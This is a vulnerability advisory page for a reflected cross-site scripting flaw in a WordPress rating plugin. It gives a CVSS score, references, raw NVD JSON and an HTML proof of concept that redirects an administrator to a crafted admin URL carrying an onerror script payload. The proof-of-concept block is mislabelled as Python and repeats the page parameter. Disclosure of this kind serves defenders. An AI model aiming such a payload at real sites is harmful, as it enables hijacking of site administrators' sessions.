CVE-2026-6864

Description

The CBX 5 Star Rating & Review plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CBX 5 Star Rating & Review <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-6864 -->
<!-- Target: WordPress CBX 5 Star Rating & Review Plugin <= 1.0.7 -->
<!-- Vulnerable Parameter: page -->

<html>
  <body>
    <p>CVE-2026-6864 PoC: Reflected XSS in 'page' parameter</p>
    <script>
      // The vulnerable endpoint accepts the 'page' parameter without sanitization
      var targetUrl = "http://target-wordpress-site.com/wp-admin/admin.php?page=cbxscratingreview_rating_avg_logs";
      
      // Malicious payload to execute JavaScript
      var payload = "<img src=x onerror=alert('CVE-2026-6864')>";
      
      // Combine target and payload
      var exploitUrl = targetUrl + "&page=" + encodeURIComponent(payload);
      
      // Redirect the victim (e.g., Admin) to the exploit URL
      // In a real scenario, this would be sent via phishing email
      document.location = exploitUrl;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6864
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6864
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6864/
[4] VulDB https://vuldb.com/cve/CVE-2026-6864
[5] https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.7/templates/admin/admin-rating-review-rating-avg-logs.php#L41
[6] https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.7/templates/admin/admin-rating-review-review-logs.php#L41
[7] https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.8/templates/admin/admin-rating-review-rating-avg-logs.php
[8] https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.8/templates/admin/admin-rating-review-review-logs.php
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/9ee11e19-21a6-45df-a118-f6dec3b55bc1?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6864", "sourceIdentifier": "[email protected]", "published": "2026-05-22T05:16:27.500", "lastModified": "2026-05-22T05:16:27.500", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CBX 5 Star Rating & Review plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.7/templates/admin/admin-rating-review-rating-avg-logs.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.7/templates/admin/admin-rating-review-review-logs.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.8/templates/admin/admin-rating-review-rating-avg-logs.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/cbxscratingreview/tags/1.0.8/templates/admin/admin-rating-review-review-logs.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9ee11e19-21a6-45df-a118-f6dec3b55bc1?source=cve", "source": "[email protected]"}]}}